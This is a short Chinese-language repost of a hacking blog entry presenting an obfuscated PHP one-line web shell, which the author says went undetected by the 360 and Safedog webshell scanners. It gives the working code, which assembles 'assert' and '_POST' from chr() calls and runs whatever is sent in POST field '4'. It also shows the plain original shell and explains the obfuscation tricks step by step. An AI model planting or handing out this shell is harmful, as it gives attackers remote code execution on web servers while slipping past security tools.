经过变异新的一句话（过360，安全狗）

只测试了360网马查杀和安全狗网马查杀，均未被发现

<?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>

range(1,200)----新建一个1到200的数组。  range(a,z)就是一个a到z的数组；大小写有区别
chr()----转换ASCII 
chr($a[51])--------是密码4  ，实际是chr(52)。也可以把[chr($a[51])]改为['4']
$a[51]就是数组的$a的第51个数的值（52）。因为数组的值是从0开始数的，所以第51位为52.

原一句话: <?php  $a = "a"."s"."s"."e"."r"."t";  $a(${_POST}['4']);  ?>

assert()----跟eval()意思差不多都用来执行语句的
重点是{}，变量分离;这样{}中的就是字符串，也就可以把_POST转码eg:

<?php
$f4ck="LOVE"; 
echo "${f4ck} ,f4ck";//输出结果 LOVE,f4ck

转载于:https://www.cnblogs.com/heikeboys/p/3309092.html